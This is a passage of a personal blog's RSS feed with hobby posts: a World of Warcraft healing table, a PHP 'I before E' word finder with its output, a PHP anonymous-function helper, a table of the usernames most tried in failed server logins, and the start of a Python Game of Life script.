<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>417</td>
<td></td>
<td><I>417</I></td>
</tr>
<tr>
<td><B>23</B></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>417</td>
<td><I>417</I></td>
</tr>
<tr>
<td><B>23.5</B></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td><I>0</I></td>
</tr>
<tr>
<td><B>24</B></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>417</td>
<td><I>417</I></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td><strong>90000</strong></td>
</tr>
</tbody>
</table>
<p><br<br />
The above table is 12 seconds of FoL spam on a target with SS.  It uses an average FoL heal amount of 5,000 every 1.5s (yes, yes).  After 12 seconds, the HoT is <em>full</em> and provides 1,667 healing ever 0.5 seconds.  Which is pretty absurd <img src='http://project-2501.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Honestly I like our niche as tank healers, and I feel the changes in 3.2 will not do much for raid healing and with regen nerfs, our tank healing will suffer too, leaving us without a niche.</p>
<p>My preference would be to keep beacon as it is in 3.1 (for topping up OTs), take the regen nerfs and have a FoL (like above) that&#8217;s useful for Tank Healing.  We still wont be able raid heal, but we&#8217;ll have a rotation, have to worry about mana, and we&#8217;ll keep our niche.</p>
<p><strong>Edit</strong> GC has confirmed that it will <strong>not</strong> stack or roll in any way.  At the moment it can also be overwritten too, so FoL spam = no HoT ticks.</p>
]]></content:encoded>
			<wfw:commentRss>http://project-2501.net/index.php/2009/06/32-rolling-fol-ss-hots/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>I before E except after C&#8230;</title>
		<link>http://project-2501.net/index.php/2009/06/i-before-e-except-after-c/</link>
		<comments>http://project-2501.net/index.php/2009/06/i-before-e-except-after-c/#comments</comments>
		<pubDate>Wed, 03 Jun 2009 00:35:06 +0000</pubDate>
		<dc:creator>Matthew</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://project-2501.net/?p=160</guid>
		<description><![CDATA[I before E (yuccamuffin.com)
&#60;?php

&#160; &#160; $words = file&#40;'/usr/share/dict/words'&#41;;
&#160; &#160; $words = array_map&#40;'trim', $words&#41;;
&#160; &#160; 
&#160; &#160; // Ignore words with any punctuation
&#160; &#160; $words = array_filter&#40;$words, 'ctype_alpha'&#41;; 
&#160; &#160; 
&#160; &#160; foreach&#40;$words as $word&#41;
&#160; &#160; &#123;
&#160; &#160; &#160; &#160; // ignore proper nouns (they start with an uppercase letter)
&#160; &#160; &#160; &#160; if&#40;ctype_upper&#40;$word&#91;0&#93;&#41;&#41;
&#160; &#160; &#160; [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.yuccamuffin.com/78">I before E</a> (yuccamuffin.com)</p>
<div class="codecolorer-container php " style="overflow:auto;white-space:nowrap;width:540px;height:300px"><div class="php codecolorer" style="font-family:Monaco,Lucida Console,monospace"><span class="kw2">&lt;?php</span><br />
<br />
&nbsp; &nbsp; <span class="re0">$words</span> <span class="sy0">=</span> <span class="kw3">file</span><span class="br0">&#40;</span><span class="st_h">'/usr/share/dict/words'</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; <span class="re0">$words</span> <span class="sy0">=</span> <span class="kw3">array_map</span><span class="br0">&#40;</span><span class="st_h">'trim'</span><span class="sy0">,</span> <span class="re0">$words</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; <span class="co1">// Ignore words with any punctuation</span><br />
&nbsp; &nbsp; <span class="re0">$words</span> <span class="sy0">=</span> <span class="kw3">array_filter</span><span class="br0">&#40;</span><span class="re0">$words</span><span class="sy0">,</span> <span class="st_h">'ctype_alpha'</span><span class="br0">&#41;</span><span class="sy0">;</span> <br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; <span class="kw1">foreach</span><span class="br0">&#40;</span><span class="re0">$words</span> <span class="kw1">as</span> <span class="re0">$word</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// ignore proper nouns (they start with an uppercase letter)</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="kw3">ctype_upper</span><span class="br0">&#40;</span><span class="re0">$word</span><span class="br0">&#91;</span><span class="nu0">0</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">continue</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="kw3">preg_match</span><span class="br0">&#40;</span><span class="st0">&quot;#[^c]ei#&quot;</span><span class="sy0">,</span> <span class="re0">$word</span><span class="br0">&#41;</span> <span class="sy0">===</span> <span class="nu0">1</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;<span class="es4">$word</span><span class="es1">\n</span>&quot;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
<br />
<span class="sy1">?&gt;</span></div></div>
<div class="codecolorer-container text " style="overflow:auto;white-space:nowrap;width:540px;height:300px"><div class="text codecolorer" style="font-family:Monaco,Lucida Console,monospace">absenteeism<br />
ageing<br />
ageings<br />
ageism<br />
agreeing<br />
albeit<br />
anteing<br />
apartheid<br />
atheism<br />
atheist<br />
atheistic<br />
atheists<br />
aweigh<br />
bantamweight<br />
bantamweights<br />
beige<br />
being<br />
beings<br />
bingeing<br />
birdieing<br />
blueing<br />
boogieing<br />
caffeine<br />
canoeist<br />
canoeists<br />
casein<br />
clueing<br />
codeine<br />
counterfeit<br />
counterfeited<br />
counterfeiter<br />
counterfeiters<br />
counterfeiting<br />
counterfeits<br />
counterweight<br />
counterweights<br />
cueing<br />
cuneiform<br />
decaffeinate<br />
decaffeinated<br />
decaffeinates<br />
decaffeinating<br />
decreeing<br />
deice<br />
deiced<br />
deicer<br />
deicers<br />
deices<br />
deicing<br />
deification<br />
deified<br />
deifies<br />
deify<br />
deifying<br />
deign<br />
deigned<br />
deigning<br />
deigns<br />
deism<br />
deities<br />
deity<br />
dieing<br />
disagreeing<br />
dyeing<br />
edelweiss<br />
emceeing<br />
facsimileing<br />
featherweight<br />
featherweights<br />
feign<br />
feigned<br />
feigning<br />
feigns<br />
feint<br />
feinted<br />
feinting<br />
feints<br />
feistier<br />
feistiest<br />
feisty<br />
filigreeing<br />
flambeing<br />
fleeing<br />
flyweight<br />
flyweights<br />
foreign<br />
foreigner<br />
foreigners<br />
foreseeing<br />
forfeit<br />
forfeited<br />
forfeiting<br />
forfeits<br />
forfeiture<br />
freeing<br />
freight<br />
freighted<br />
freighter<br />
freighters<br />
freighting<br />
freights<br />
fricasseeing<br />
garnisheeing<br />
geeing<br />
geisha<br />
geishas<br />
gesundheit<br />
glueing<br />
gneiss<br />
guaranteeing<br />
heavyweight<br />
heavyweights<br />
heifer<br />
heifers<br />
height<br />
heighten<br />
heightened<br />
heightening<br />
heightens<br />
heights<br />
heinous<br />
heinously<br />
heinousness<br />
heir<br />
heiress<br />
heiresses<br />
heirloom<br />
heirlooms<br />
heirs<br />
heist<br />
heisted<br />
heisting<br />
heists<br />
herein<br />
heterogeneity<br />
hieing<br />
hoeing<br />
homogeneity<br />
horseshoeing<br />
hundredweight<br />
hundredweights<br />
inveigh<br />
inveighed<br />
inveighing<br />
inveighs<br />
inveigle<br />
inveigled<br />
inveigles<br />
inveigling<br />
kaleidoscope<br />
kaleidoscopes<br />
kaleidoscopic<br />
kneeing<br />
lei<br />
leis<br />
leisure<br />
leisurely<br />
leitmotif<br />
leitmotifs<br />
lightweight<br />
lightweights<br />
middleweight<br />
middleweights<br />
monotheism<br />
monotheist<br />
monotheistic<br />
monotheists<br />
neigh<br />
neighbor<br />
neighbored<br />
neighborhood<br />
neighborhoods<br />
neighboring<br />
neighborliness<br />
neighborly<br />
neighbors<br />
neighed<br />
neighing<br />
neighs<br />
neither<br />
nonpareil<br />
nonpareils<br />
nuclei<br />
nucleic<br />
obeisance<br />
obeisances<br />
obeisant<br />
onomatopoeia<br />
onomatopoeic<br />
outweigh<br />
outweighed<br />
outweighing<br />
outweighs<br />
overseeing<br />
overweight<br />
pantheism<br />
pantheist<br />
pantheistic<br />
pantheists<br />
paperweight<br />
paperweights<br />
peeing<br />
pennyweight<br />
pennyweights<br />
pharmacopoeia<br />
pharmacopoeias<br />
pieing<br />
plebeian<br />
plebeians<br />
poltergeist<br />
poltergeists<br />
polytheism<br />
polytheist<br />
polytheistic<br />
polytheists<br />
protein<br />
proteins<br />
pureeing<br />
queueing<br />
refereeing<br />
reign<br />
reigned<br />
reigning<br />
reigns<br />
reimburse<br />
reimbursed<br />
reimbursement<br />
reimbursements<br />
reimburses<br />
reimbursing<br />
reimpose<br />
reimposed<br />
reimposes<br />
reimposing<br />
rein<br />
reincarnate<br />
reincarnated<br />
reincarnates<br />
reincarnating<br />
reincarnation<br />
reincarnations<br />
reindeer<br />
reindeers<br />
reined<br />
reinforce<br />
reinforced<br />
reinforcement<br />
reinforcements<br />
reinforces<br />
reinforcing<br />
reining<br />
reinitialize<br />
reinitialized<br />
reins<br />
reinsert<br />
reinserted<br />
reinserting<br />
reinserts<br />
reinstate<br />
reinstated<br />
reinstatement<br />
reinstates<br />
reinstating<br />
reinterpret<br />
reinterpretation<br />
reinterpretations<br />
reinterpreted<br />
reinterpreting<br />
reinterprets<br />
reinvent<br />
reinvented<br />
reinventing<br />
reinvents<br />
reinvest<br />
reinvested<br />
reinvesting<br />
reinvests<br />
reissue<br />
reissued<br />
reissues<br />
reissuing<br />
reiterate<br />
reiterated<br />
reiterates<br />
reiterating<br />
reiteration<br />
reiterations<br />
reparteeing<br />
reveille<br />
seeing<br />
seeings<br />
segueing<br />
seismic<br />
seismically<br />
seismograph<br />
seismographic<br />
seismographs<br />
seismologist<br />
seismologists<br />
seismology<br />
seize<br />
seized<br />
seizes<br />
seizing<br />
seizure<br />
seizures<br />
sheik<br />
sheikdom<br />
sheikdoms<br />
sheikh<br />
sheikhs<br />
sheiks<br />
shoeing<br />
sightseeing<br />
singeing<br />
skein<br />
skeined<br />
skeining<br />
skeins<br />
sleigh<br />
sleighed<br />
sleighing<br />
sleighs<br />
snowshoeing<br />
sortieing<br />
sovereign<br />
sovereigns<br />
sovereignty<br />
spontaneity<br />
spreeing<br />
squeegeeing<br />
stein<br />
steined<br />
steining<br />
steins<br />
stymieing<br />
surfeit<br />
surfeited<br />
surfeiting<br />
surfeits<br />
surveillance<br />
teeing<br />
theeing<br />
their<br />
theirs<br />
theism<br />
theist<br />
theistic<br />
theists<br />
therein<br />
throeing<br />
tieing<br />
tingeing<br />
tiptoeing<br />
toeing<br />
treeing<br />
trueing<br />
twingeing<br />
underweight<br />
unfeigned<br />
unseeing<br />
unveil<br />
unveiled<br />
unveiling<br />
unveils<br />
vagueing<br />
veil<br />
veiled<br />
veiling<br />
veils<br />
vein<br />
veined<br />
veining<br />
veins<br />
villein<br />
villeins<br />
vogueing<br />
weeing<br />
weigh<br />
weighed<br />
weighing<br />
weighs<br />
weight<br />
weighted<br />
weightier<br />
weightiest<br />
weightiness<br />
weighting<br />
weightless<br />
weightlessness<br />
weightlifter<br />
weightlifters<br />
weightlifting<br />
weights<br />
weighty<br />
weir<br />
weird<br />
weirded<br />
weirder<br />
weirdest<br />
weirding<br />
weirdly<br />
weirdness<br />
weirdo<br />
weirdos<br />
weirds<br />
weired<br />
weiring<br />
weirs<br />
welterweight<br />
welterweights<br />
wherein</div></div>
]]></content:encoded>
			<wfw:commentRss>http://project-2501.net/index.php/2009/06/i-before-e-except-after-c/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>obsessed with anonymous functions</title>
		<link>http://project-2501.net/index.php/2009/01/obsessed-with-anonymous-functions/</link>
		<comments>http://project-2501.net/index.php/2009/01/obsessed-with-anonymous-functions/#comments</comments>
		<pubDate>Wed, 21 Jan 2009 08:30:32 +0000</pubDate>
		<dc:creator>Matthew</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://project-2501.net/?p=97</guid>
		<description><![CDATA[Any normal person would just live without anonymous functions in PHP, they are buggy and non trivial ones are pain to write and read.  I&#8217;m not sure why I seam to obsess over them.
At the very least, the below code will test unicode in your dev tools  
Edit:  Of course after I [...]]]></description>
			<content:encoded><![CDATA[<p>Any normal person would just live without anonymous functions in PHP, they are buggy and non trivial ones are pain to write and read.  I&#8217;m not sure why I seam to obsess over them.</p>
<p>At the very least, the below code will test unicode in your dev tools <img src='http://project-2501.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><strong>Edit:</strong>  Of course after I wrote that I discovered that Wordpress was ignoring the &lambda; character.  A little fix from <a href="http://hansengel.wordpress.com/2007/10/09/wordpress-unicode-and-s/">here</a> and everything is working again.</p>
<div class="codecolorer-container php " style="overflow:auto;white-space:nowrap;width:540px;height:300px"><div class="php codecolorer" style="font-family:Monaco,Lucida Console,monospace"><span class="kw2">&lt;?php</span><br />
<br />
&nbsp; &nbsp; <span class="co1">// Create an 'anonymous' function without specifying arguments.</span><br />
&nbsp; &nbsp; <span class="co1">// Arguments are considered to be named $a to $z</span><br />
&nbsp; &nbsp; <span class="kw2">function</span> λ<span class="br0">&#40;</span><span class="re0">$body</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$args</span> <span class="sy0">=</span> <span class="st_h">''</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span><span class="br0">&#40;</span><span class="kw3">preg_match_all</span><span class="br0">&#40;</span><span class="st_h">'#(\$[a-z])\b#'</span><span class="sy0">,</span> <span class="re0">$body</span><span class="sy0">,</span> <span class="re0">$matches</span><span class="sy0">,</span> PREG_SET_ORDER<span class="br0">&#41;</span> <span class="sy0">!==</span> <span class="nu0">0</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$allArgs</span> <span class="sy0">=</span> <span class="kw3">array</span><span class="br0">&#40;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">foreach</span><span class="br0">&#40;</span><span class="re0">$matches</span> <span class="kw1">as</span> <span class="re0">$match</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$allArgs</span><span class="br0">&#91;</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="re0">$match</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$allArgs</span> <span class="sy0">=</span> <span class="kw3">array_unique</span><span class="br0">&#40;</span><span class="re0">$allArgs</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">sort</span><span class="br0">&#40;</span><span class="re0">$allArgs</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$args</span> <span class="sy0">=</span> <span class="kw3">implode</span><span class="br0">&#40;</span><span class="st_h">','</span><span class="sy0">,</span> <span class="re0">$allArgs</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">// Make sure it's terminated (we don't care about extra trailing ';')</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">return</span> <span class="kw3">create_function</span><span class="br0">&#40;</span><span class="re0">$args</span><span class="sy0">,</span> <span class="re0">$body</span> <span class="sy0">.</span> <span class="st_h">';'</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; <span class="co1">// Creating</span><br />
&nbsp; &nbsp; <span class="re0">$multiply</span> <span class="sy0">=</span> λ<span class="br0">&#40;</span><span class="st_h">'return $a * $b'</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;23 * 65 = &quot;</span> <span class="sy0">.</span> <span class="re0">$multiply</span><span class="br0">&#40;</span><span class="nu0">23</span><span class="sy0">,</span> <span class="nu0">65</span><span class="br0">&#41;</span> <span class="sy0">.</span> <span class="st0">&quot;<span class="es1">\n</span>&quot;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; <span class="co1">// Only $a to $z are reserved</span><br />
&nbsp; &nbsp; <span class="re0">$bSquaredByA</span> <span class="sy0">=</span> λ<span class="br0">&#40;</span><span class="st_h">'$unused = &quot;Hello&quot;; $b_square = $b * $b; return $b_square * $a'</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;8 * 6^2 = &quot;</span> <span class="sy0">.</span> <span class="re0">$bSquaredByA</span><span class="br0">&#40;</span><span class="nu0">8</span><span class="sy0">,</span> <span class="nu0">6</span><span class="br0">&#41;</span> <span class="sy0">.</span> <span class="st0">&quot;<span class="es1">\n</span>&quot;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; <span class="co1">// Embedding in strings</span><br />
&nbsp; &nbsp; <span class="re0">$square</span> &nbsp; &nbsp; &nbsp;<span class="sy0">=</span> λ<span class="br0">&#40;</span><span class="st_h">'return $a * $a'</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; <span class="re0">$numbers</span> &nbsp; &nbsp; <span class="sy0">=</span> <span class="kw3">array</span><span class="br0">&#40;</span><span class="nu0">2</span><span class="sy0">,</span><span class="nu0">4</span><span class="sy0">,</span><span class="nu0">8</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; <span class="kw1">foreach</span><span class="br0">&#40;</span><span class="re0">$numbers</span> <span class="kw1">as</span> <span class="re0">$num</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;<span class="es4">$num</span> * <span class="es4">$num</span> = {<span class="es4">$square</span>(<span class="es4">$num</span>)}<span class="es1">\n</span>&quot;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; <span class="co1">// Note you don't have to use $a for your first argument, and $b for your second. &nbsp;They just</span><br />
&nbsp; &nbsp; <span class="co1">// Need to be in the right order</span><br />
&nbsp; &nbsp; <span class="re0">$print_two_things</span> <span class="sy0">=</span> λ<span class="br0">&#40;</span><span class="st_h">'echo &quot;Second: &quot; . $y . &quot;\n&quot;; echo &quot;First: &quot; . $d . &quot;\n&quot;;'</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; <span class="re0">$print_two_things</span><span class="br0">&#40;</span><span class="st0">&quot;Hello&quot;</span><span class="sy0">,</span> <span class="st0">&quot;World!&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; <br />
&nbsp; &nbsp; <span class="co1">// Practical use</span><br />
&nbsp; &nbsp; <span class="re0">$numbers</span> &nbsp; &nbsp; <span class="sy0">=</span> <span class="kw3">array</span><span class="br0">&#40;</span><span class="nu0">1</span><span class="sy0">,</span><span class="nu0">1</span><span class="sy0">,</span><span class="nu0">1</span><span class="sy0">,</span><span class="nu0">2</span><span class="sy0">,</span><span class="nu0">2</span><span class="sy0">,</span><span class="nu0">3</span><span class="sy0">,</span><span class="nu0">3</span><span class="sy0">,</span><span class="nu0">3</span><span class="sy0">,</span><span class="nu0">4</span><span class="sy0">,</span><span class="nu0">5</span><span class="sy0">,</span><span class="nu0">5</span><span class="sy0">,</span><span class="nu0">6</span><span class="sy0">,</span><span class="nu0">7</span><span class="sy0">,</span><span class="nu0">8</span><span class="sy0">,</span><span class="nu0">9</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; <span class="re0">$above_three</span> <span class="sy0">=</span> <span class="kw3">array_filter</span><span class="br0">&#40;</span><span class="re0">$numbers</span><span class="sy0">,</span> λ<span class="br0">&#40;</span><span class="st_h">'return $x &gt; 3;'</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; <span class="kw3">echo</span> <span class="st0">&quot;Numbers above three = &nbsp;&quot;</span> <span class="sy0">.</span> <span class="kw3">implode</span><span class="br0">&#40;</span><span class="st0">&quot;, &quot;</span><span class="sy0">,</span> <span class="re0">$above_three</span><span class="br0">&#41;</span> <span class="sy0">.</span> <span class="st0">&quot;<span class="es1">\n</span>&quot;</span><span class="sy0">;</span> &nbsp; &nbsp;<br />
<br />
<span class="sy1">?&gt;</span></div></div>
]]></content:encoded>
			<wfw:commentRss>http://project-2501.net/index.php/2009/01/obsessed-with-anonymous-functions/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>auth.log noise</title>
		<link>http://project-2501.net/index.php/2008/07/authlog-noise/</link>
		<comments>http://project-2501.net/index.php/2008/07/authlog-noise/#comments</comments>
		<pubDate>Mon, 07 Jul 2008 08:42:56 +0000</pubDate>
		<dc:creator>Matthew</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://project-2501.net/?p=82</guid>
		<description><![CDATA[Below are the top 50 login names when trying to gain access to this web server over the last 4 weeks


Name
Attempts


root
3273


admin
119


test
110


mysql
44


guest
41


user
37


oracle
37


temp
25


sales
24


info
21


webmaster
21


postgres
21


dan
18


robert
18


student
17


ftpuser
17


ftp
17


richard
16


apache
16


web
15


adm
15


webadmin
15


john
15


paul
15


office
15


tony
14


james
14


postfix
13


michael
13


alex
13


david
13


amanda
13


adam
12


mike
12


staff
12


steven
12


recruit
12


jeff
12


pgsql
12


library
12


username
12


frank
12


susan
11


cyrus
11


dave
11


gast
10


postmaster
10


nagios
10


martin
10


admins
10


Note:   No external connections are allowed to log in as root (of course)
Note2:  After 5 failed login attempt, the IP address is temporary banned (fail2ban)
]]></description>
			<content:encoded><![CDATA[<p>Below are the top 50 login names when trying to gain access to this web server over the last 4 weeks</p>
<table cellspacing="12" border="0" style="border: 1px solid gray;">
<tr>
<th>Name</th>
<th>Attempts</th>
</tr>
<tr>
<td>root</td>
<td>3273</td>
</tr>
<tr>
<td>admin</td>
<td>119</td>
</tr>
<tr>
<td>test</td>
<td>110</td>
</tr>
<tr>
<td>mysql</td>
<td>44</td>
</tr>
<tr>
<td>guest</td>
<td>41</td>
</tr>
<tr>
<td>user</td>
<td>37</td>
</tr>
<tr>
<td>oracle</td>
<td>37</td>
</tr>
<tr>
<td>temp</td>
<td>25</td>
</tr>
<tr>
<td>sales</td>
<td>24</td>
</tr>
<tr>
<td>info</td>
<td>21</td>
</tr>
<tr>
<td>webmaster</td>
<td>21</td>
</tr>
<tr>
<td>postgres</td>
<td>21</td>
</tr>
<tr>
<td>dan</td>
<td>18</td>
</tr>
<tr>
<td>robert</td>
<td>18</td>
</tr>
<tr>
<td>student</td>
<td>17</td>
</tr>
<tr>
<td>ftpuser</td>
<td>17</td>
</tr>
<tr>
<td>ftp</td>
<td>17</td>
</tr>
<tr>
<td>richard</td>
<td>16</td>
</tr>
<tr>
<td>apache</td>
<td>16</td>
</tr>
<tr>
<td>web</td>
<td>15</td>
</tr>
<tr>
<td>adm</td>
<td>15</td>
</tr>
<tr>
<td>webadmin</td>
<td>15</td>
</tr>
<tr>
<td>john</td>
<td>15</td>
</tr>
<tr>
<td>paul</td>
<td>15</td>
</tr>
<tr>
<td>office</td>
<td>15</td>
</tr>
<tr>
<td>tony</td>
<td>14</td>
</tr>
<tr>
<td>james</td>
<td>14</td>
</tr>
<tr>
<td>postfix</td>
<td>13</td>
</tr>
<tr>
<td>michael</td>
<td>13</td>
</tr>
<tr>
<td>alex</td>
<td>13</td>
</tr>
<tr>
<td>david</td>
<td>13</td>
</tr>
<tr>
<td>amanda</td>
<td>13</td>
</tr>
<tr>
<td>adam</td>
<td>12</td>
</tr>
<tr>
<td>mike</td>
<td>12</td>
</tr>
<tr>
<td>staff</td>
<td>12</td>
</tr>
<tr>
<td>steven</td>
<td>12</td>
</tr>
<tr>
<td>recruit</td>
<td>12</td>
</tr>
<tr>
<td>jeff</td>
<td>12</td>
</tr>
<tr>
<td>pgsql</td>
<td>12</td>
</tr>
<tr>
<td>library</td>
<td>12</td>
</tr>
<tr>
<td>username</td>
<td>12</td>
</tr>
<tr>
<td>frank</td>
<td>12</td>
</tr>
<tr>
<td>susan</td>
<td>11</td>
</tr>
<tr>
<td>cyrus</td>
<td>11</td>
</tr>
<tr>
<td>dave</td>
<td>11</td>
</tr>
<tr>
<td>gast</td>
<td>10</td>
</tr>
<tr>
<td>postmaster</td>
<td>10</td>
</tr>
<tr>
<td>nagios</td>
<td>10</td>
</tr>
<tr>
<td>martin</td>
<td>10</td>
</tr>
<tr>
<td>admins</td>
<td>10</td>
</tr>
</table>
<p><strong>Note:</strong>   No external connections are allowed to log in as root (of course)<br />
<strong>Note2:</strong>  After 5 failed login attempt, the IP address is temporary banned (fail2ban)</p>
]]></content:encoded>
			<wfw:commentRss>http://project-2501.net/index.php/2008/07/authlog-noise/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>import life</title>
		<link>http://project-2501.net/index.php/2008/06/import-life/</link>
		<comments>http://project-2501.net/index.php/2008/06/import-life/#comments</comments>
		<pubDate>Fri, 20 Jun 2008 10:00:56 +0000</pubDate>
		<dc:creator>Matthew</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://project-2501.net/?p=81</guid>
		<description><![CDATA[A console based implementation of Conway&#8217;s Game of Life in Python.
As fascinating as it is useless.
#!/usr/bin/python

import sys
import random
import time
import os
import copy

WIDTH = 32
HEIGHT = 16

class Grid:
&#160; &#160; def __init__&#40;self, width, height&#41;:
&#160; &#160; &#160; &#160; self.width &#160;= width
&#160; &#160; &#160; &#160; self.height = height
&#160; &#160; &#160; &#160; self.create_blank_grid&#40;&#41;

&#160; &#160; def create_blank_grid&#40;self&#41;:
&#160; &#160; &#160; &#160; self.grid = [...]]]></description>
			<content:encoded><![CDATA[<p>A console based implementation of <a href="http://en.wikipedia.org/wiki/Conway%27s_Game_of_Life">Conway&#8217;s Game of Life</a> in Python.<br />
As fascinating as it is useless.</p>
<div class="codecolorer-container python " style="overflow:auto;white-space:nowrap;width:540px;height:300px"><div class="python codecolorer" style="font-family:Monaco,Lucida Console,monospace"><span class="co1">#!/usr/bin/python</span><br />
<br />
<span class="kw1">import</span> <span class="kw3">sys</span><br />
<span class="kw1">import</span> <span class="kw3">random</span><br />
<span class="kw1">import</span> <span class="kw3">time</span><br />
<span class="kw1">import</span> <span class="kw3">os</span><br />
<span class="kw1">import</span> <span class="kw3">copy</span><br />
<br />
WIDTH = <span class="nu0">32</span><br />
HEIGHT = <span class="nu0">16</span><br />
<br />
<span class="kw1">class</span> Grid:<br />
&nbsp; &nbsp; <span class="kw1">def</span> <span class="kw4">__init__</span><span class="br0">&#40;</span><span class="kw2">self</span>, width, height<span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">self</span>.<span class="me1">width</span> &nbsp;= width<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">self</span>.<span class="me1">height</span> = height<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">self</span>.<span class="me1">create_blank_grid</span><span class="br0">&#40;</span><span class="br0">&#41;</span><br />
<br />
&nbsp; &nbsp; <span class="kw1">def</span> create_blank_grid<span class="br0">&#40;</span><span class="kw2">self</span><span class="br0">&#41;</span>:<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw2">self</span>.<span class="me1">grid</span> = <span class="br0">&#91;</span><span class="br0">&#93;</span><br />
<br />
